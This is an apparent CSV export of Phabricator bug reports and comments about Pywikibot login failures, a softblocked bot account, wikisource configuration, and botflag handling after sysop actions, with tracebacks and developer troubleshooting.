+270248,login.all always asks for password,Please don't post your message on several bugs.,,,1399300450,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-x4zx43o5jogulf5ohnll,task_subcomment,,True,c3,1,True,,,-61,True,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+270241,login.all always asks for password,"# C:\Pywikipedia>login.py
+# Password for user AbshirBot on wikipedia:so
+# No characters will be shown:*********
+# Logging in to wikipedia:so as AbshirBot via API.
+# Should be logged in now
+# 
+# C:\Pywikipedia>welcome.py
+# Querying new user log from API....
+# [Skip ] User been created automatically.
+# [Skip ] User been created automatically.
+# [Skip ] User has been created automatically.
+# [NoAct] User Mohamed Ahmed has no contributions.
+# [Skip ] User has been created automatically.
+# [Match] User has enough edits to be welcomed.
+# Password for user AbshirBot on wikipedia:so
+# No characters will be shown:
+# Password for user AbshirBot on wikipedia:so
+# No characters will be shown:
+# Logging in to wikipedia:so as AbshirBot via API.
+
+Could someone help me what i told the above, the problem is every time I log in my User-Bot still requires the password if I continue to rewrite password, my IP address be recorded publicly visible in [[so:Special:RecentChanges]] as someone who is not registered.
+
+Please, tell me things that I can do. Thanks....",,,1399299900,,PHID-USER-pzpng2elqrbnhuroddar,False,,,PHID-TASK-x4zx43o5jogulf5ohnll,task_subcomment,,True,c3,1,False,,,-61,True,1,1,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,1
+270233,login.all always asks for password,I'd like to but there is no version.py script in pywikibot,,,1380948480,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-x4zx43o5jogulf5ohnll,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+270226,login.all always asks for password,Please post your user-config.py and the output of python version.py.,,,1380948478,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-x4zx43o5jogulf5ohnll,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+57183,interwiki and login errors on en.wiki,"Originally from: http://sourceforge.net/p/pywikipediabot/bugs/1488/
+Reported by: reza1615
+Created on: 2012-07-08 12:29:13
+Subject: interwiki and login errors on en.wiki
+Assigned to: xqt
+Original description:
+my bot \(Rezabot\)  has a flag on en.wiki and it is not blocked there but it couldn't edit on there
+
+
+File ""interwiki.py"", line 2296, in run
+self.queryStep\(\)
+File ""interwiki.py"", line 2274, in queryStep
+subj.finish\(self\)
+File ""interwiki.py"", line 1723, in finish
+if self.replaceLinks\(page, new, bot\):
+File ""interwiki.py"", line 1961, in replaceLinks
+status, reason, data = page.put\(newtext, comment=mcomment\)
+File ""/home/reza/pywikipedia/wikipedia.py"", line 2024, in put
+newPage, self.site\(\).getToken\(sysop = sysop\), sysop = sysop, botflag=botflag, maxTries=maxTries\)
+File ""/home/reza/pywikipedia/wikipedia.py"", line 2143, in \_putPage
+self.site\(\).checkBlocks\(sysop = sysop\)
+File ""/home/reza/pywikipedia/wikipedia.py"", line 5461, in checkBlocks
+raise UserBlocked\('User is blocked in site %s' % self\)
+pywikibot.exceptions.UserBlocked: User is blocked in site wikipedia:en
+
+
+also my bots name is listed on  \[\[Wikipedia:Bots/Status\]\] bot iterwiki code  says it's name is not in the list\!
+
+--------------------------
+**Version**: compat-(1.0)
+**Severity**: normal
+**See Also**:
+https://sourceforge.net/p/pywikipediabot/bugs/1488",Needs Triage,90.0,1380947880,1406195024.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-skkozb6q44n7yl4aqqlr,task_description,invalid,True,c3,1,True,False,True,-91,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+267475,interwiki and login errors on en.wiki,Trying to run interwiki.py while not logged in returns this error that is completely valid,,,1406195024,,PHID-USER-ctchvhisqfvk4rz7nt7d,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c3,1,False,,,-49,True,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,1
+267469,interwiki and login errors on en.wiki,"my bot is edits on toolserver and toolserver ip is blocked and it edits by it's user name correctly 
+https://en.wikipedia.org/w/index.php?limit=50&tagfilter=&title=Special%3AContributions&contribs=user&target=rezabot&namespace=&tagfilter=&year=&month=-1
+
+I checked new update but it has the same error message
+also my bot is listed on Wikipedia:Bots/Status/active bots
+
+massage
+
+pywikipedia$ python login.py -lang:en
+Logging in to wikipedia:en as rezabot via API.
+Should be logged in now
+\*\*\* Your username is not listed on \[\[\[u'Wikipedia:Bots/Status/active bots', 'BotS'\]\]\].
+\*\*\* Please make sure you are allowed to use the robot before actually using it\!",,,1380947945,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+267465,interwiki and login errors on en.wiki,"- **labels**: 745455 --> login
+- **assigned_to**: nobody --> xqt",,,1380947943,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+267462,interwiki and login errors on en.wiki,fix for NOTE: message done in r10446/r10447,,,1380947941,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+267459,interwiki and login errors on en.wiki,"It looks like the bot's IP was blocked \[1\] and it seems the bot was editing as anonymous account. On the other hand I don't know why/how that \(bot working as IP\) happens. Could you check your bot's IP edits?
+
+The second message is due to the Botstatus templates has been moved into a subfolder. Will be fixed soon.
+
+\[1\]: http://en.wikipedia.org/wiki/Wikipedia:SOFTBLOCK\#Setting\_block\_options",,,1380947939,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+267456,interwiki and login errors on en.wiki,"thank you for your answer after new update the bot blocking error  is solved.:\) but still now it shows this massage.
+it should not show this because my bot is registered and flag in en.wiki
+
+the massage
+
+
+WARNING: Your account on wikipedia:en is blocked by Anomie.
+Reason: Softblock: Toolserver bots should not be editing logged out. Consult \[\[WT:BOTPOL\]\] for consensus discussion.
+Editing using this account will stop the run.
+
+NOTE: You have new messages on wikipedia:en
+Logging in to wikipedia:en as rezabot via API.
+Should be logged in now
+\*\*\* Your username is not listed on \[\[\[u'Wikipedia:Bots/Status', 'BotS'\]\]\].
+\*\*\* Please make sure you are allowed to use the robot before actually using it\!",,,1380947938,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,1,1,1,0,1,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1
+267453,interwiki and login errors on en.wiki,Also check to make sure you are still logged in. \(try running login.py and see if that fixes it.\),,,1380947936,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+267450,interwiki and login errors on en.wiki,could you try another edit with -v option to get mor output,,,1380947934,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+267445,interwiki and login errors on en.wiki,- **summary**: error on en.wiki --> interwiki and login errors on en.wiki,,,1380947932,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+57154,Can't login to wikisource.org,"Originally from: http://sourceforge.net/p/pywikipediabot/bugs/1572/
+Reported by: Anonymous user
+Created on: 2013-02-09 09:45:00
+Subject: Can't login to wikisource.org
+Original description:
+I would like to be able to edit Wikisource with pywikipediabot; unlike all the other wikis, http://wikisource.org/ does not redirect to http://en.wikisource.org/ and thus I cannot login to wikisource.org without playing with each script.
+
+The following was outputted when I tried
+family = 'wikisource'
+mylang = ''
+
+Traceback \(most recent call last\):
+File ""C:\Python27\pywikipedia1\redirect.py"", line 65, in &lt;module&gt;
+import wikipedia as pywikibot
+File ""C:\Python27\pywikipedia1\wikipedia.py"", line 8717, in &lt;module&gt;
+getSite\(noLogin=True\)
+File ""C:\Python27\pywikipedia1\pywikibot\support.py"", line 115, in wrapper
+return method\(\*\_\_args, \*\*\_\_kw\)
+File ""C:\Python27\pywikipedia1\wikipedia.py"", line 8471, in getSite
+\_sites\[key\] = Site\(code=code, fam=fam, user=user\)
+File ""C:\Python27\pywikipedia1\pywikibot\support.py"", line 115, in wrapper
+return method\(\*\_\_args, \*\*\_\_kw\)
+File ""C:\Python27\pywikipedia1\wikipedia.py"", line 5667, in \_\_init\_\_
+% \(self.\_\_code, self.\_\_family.name\)\)
+NoSuchSite: Language  does not exist in family wikisource
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://sourceforge.net/p/pywikipediabot/bugs/1572",Needs Triage,90.0,1380947640,1384635692.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-dhh37twcrmhqe6k4pknu,task_description,invalid,True,c3,1,True,False,True,-91,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+265878,Can't login to wikisource.org,closed per above,,,1384635692,,PHID-USER-43lnvui4hacyjrc2lflj,False,,,PHID-TASK-dhh37twcrmhqe6k4pknu,task_subcomment,,True,c3,1,True,,,-85,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0
+265874,Can't login to wikisource.org,"Suggested method works, please close or possibly add a note somewhere in the code? \(so people like me can see that they need to do '-'\)",,,1380947670,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-dhh37twcrmhqe6k4pknu,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,0,1,1,0,0,0,0
+265870,Can't login to wikisource.org,"My mistake, I didn't see the suggested method.",,,1380947668,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-dhh37twcrmhqe6k4pknu,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+265865,Can't login to wikisource.org,- **priority**: 7 --> 5,,,1380947666,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-dhh37twcrmhqe6k4pknu,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1
+265861,Can't login to wikisource.org,Please try the suggested method before increading priority.,,,1380947665,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-dhh37twcrmhqe6k4pknu,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+265855,Can't login to wikisource.org,- **priority**: 5 --> 7,,,1380947663,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-dhh37twcrmhqe6k4pknu,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1
+265850,Can't login to wikisource.org,"Instead of mylang='', try using mylang='-' \(and also adapting your username config as such\).",,,1380947661,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-dhh37twcrmhqe6k4pknu,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+57140,force login after performing a sysop action,"Originally from: http://sourceforge.net/p/pywikipediabot/bugs/1632/
+Reported by: nu11zer0
+Created on: 2013-05-03 05:54:46
+Subject: force login after performing a sysop action
+Assigned to: russblau
+Original description:
+After my bot performed a sysop action, then wrote to a page, the bot wrote without botflag\! It seems that the framework cached some informations and understood that the bot has no flag. My workaround is to add ""site.login\(\)"" after every sysop action. But it should be implemented in the framework. Note that now redirect.py also has this problem.
+
+\----
+Pywikibot branches/rewrite/ \(r11487, 2013/05/02, 07:59:55, ok\)
+Python 2.7.3 \(default, Sep 26 2012, 21:53:58\) 
+\[GCC 4.7.2\]
+unicode test: ok
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://sourceforge.net/p/pywikipediabot/bugs/1632
+https://bugzilla.wikimedia.org/show_bug.cgi?id=55066",Needs Triage,90.0,1380947460,1431068904.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_description,resolved,True,c3,1,True,False,True,-91,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,1,0,1,1,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+415402,force login after performing a sysop action,"Change 192178 merged by jenkins-bot:
+Postpone botflag checking in Page
+
+[[https://gerrit.wikimedia.org/r/192178]]",,,1424592321,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c3,1,False,,,-19,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+415401,force login after performing a sysop action,"Change 192178 had a related patch set uploaded (by VcamX):
+Postpone botflag checking in Page
+
+[[https://gerrit.wikimedia.org/r/192178]]
+
+#patch-for-review",,,1424591405,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c3,1,False,,,-19,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+415391,force login after performing a sysop action,"@jayvdb @Nullzero I found out what causes this bug. 
+When we do an edit, the parameter [[ https://github.com/wikimedia/pywikibot-core/blob/master/pywikibot/page.py#1004 | botflag ]] of function `save` in pywikibot-core/page will decide whether this edit will have botflag or not. This [[ https://github.com/wikimedia/pywikibot-core/blob/master/pywikibot/page.py#L1030 | line ]] will check the user right. If A performing sysop action first, it will cached sysop cookie in `pywikibot.lwp`. Then B performing a bot action without executing like `site.login()` first and doing an edit, the botflag will be set as false since the pywikibot will check user right using sysop cookie, and of course there's no `bot` in `site.userinfo['rights']`. Although we have decorator `must_be` for editpage (see [[ https://github.com/wikimedia/pywikibot-core/blob/master/pywikibot/site.py#L4033 | this ]]) which will check the user when doing an edit. The botflag is set as false before the decorator  `must_be` works.",,,1424582984,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c3,1,True,,,-19,True,0,0,0,1,1,1,0,0,1,1,1,1,0,0,1,1,0,1,1,0,0,1,1,0,1,0,0,0,0,1,1,1,1,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1
+415388,force login after performing a sysop action,@Nullzero How do these two scripts running simultaneously? Use cron to set a interval of running? Or just run them one by one? Did these two scripts run under the same directory (did they share the same `pywikibot.lwp`) ? **Update**: I may probably get your point. I'm able to reproduce this bug. Thanks for your help :),,,1424579389,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c3,1,True,,,-19,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,0,1,1,0,1,0,1,1,0,1,1,1,1,0,0,1
+415387,force login after performing a sysop action,@Nullzero How do these two scripts running simultaneously? Use cron to set a interval of running? Or just run them one by one? Did these two scripts run under the same directory (did they share the same `pywikibot.lwp`) ? **Update** I may probably get your point. I'm able to reproduce this bug. Thanks for your help :),,,1424579371,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c3,1,True,,,-19,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,1
+415385,force login after performing a sysop action,@Nullzero How do these two scripts running simultaneously? Use cron to set a interval of running? Or just run them one by one? Did these two scripts run under the same directory (did they share the same `pywikibot.lwp`) ?,,,1424576909,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c3,1,True,,,-19,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,0,1,1,0,1,1,1,1,0,0,0
+414863,force login after performing a sysop action,"If I don't misremember, the problem arises when I run two scripts simultaneously. Suppose two scripts are A and B, with A performing sysop actions (without botflag) and B performing bot actions (with botflag). It seems that some settings about botflag are shared somehow, so frequently B doesn't use botflag to edit. Thus edits appear in recentchanges.",,,1424452073,,PHID-USER-vuus2gmqsnxh6mnavgml,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c3,1,False,,,-19,True,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+414746,force login after performing a sysop action,"@jayvdb @Nullzero I found there's a decorator [[ https://github.com/wikimedia/pywikibot-core/blob/master/pywikibot/site.py#L1036 | must_be ]] in modul pywikibot/site, which limit the user status when functions are called. In my option, it may solve the bug since it checks the user status before the decorated function runs.",,,1424443044,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c3,1,True,,,-19,True,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,1,1,0,0,0,0,1
+414638,force login after performing a sysop action,"@jayvdb @Nullzero this is my [[ https://gist.github.com/VcamX/f26066fd09a992cbce6e | test script ]] for reproducing the bug, but the results showed it works well. Maybe I still didn't get your point...",,,1424426801,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c3,1,True,,,-19,True,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,0,1
+414586,force login after performing a sysop action,"The current design of pywikibot is that it always uses the sysop account **only** for actions which require sysop capabilities.  It uses the bot account for everything else. T71283 is considering to change that design.
+
+My understanding of this problem is
+1. pywikibot logs into site with the non-sysop account, that has the 'bot' flag, maybe does an edit which is a 'bot' edit.
+2. pywikibot logs into site with the sysop account, that does not have the 'bot' flag.
+3. pywikibot edit using non-sysop account should be marked as a 'bot' edit ('b' in recent changes), .. however the edit isnt marked as a bot edit, and that is this bug.
+
+In step 2, the site object does not keep the login credentials of the non-sysp account. T67196
+In step 3, the site object should re-login automatically using non-sysop username and password in config.password_file.",,,1424410305,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c3,1,True,,,-19,True,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+411785,force login after performing a sysop action,"Yes, but I will not be able to contribute to Pywikibot for a while. Feel free to take over my patches, bugs, etc.",,,1423974710,,PHID-USER-vuus2gmqsnxh6mnavgml,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c3,1,False,,,-20,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
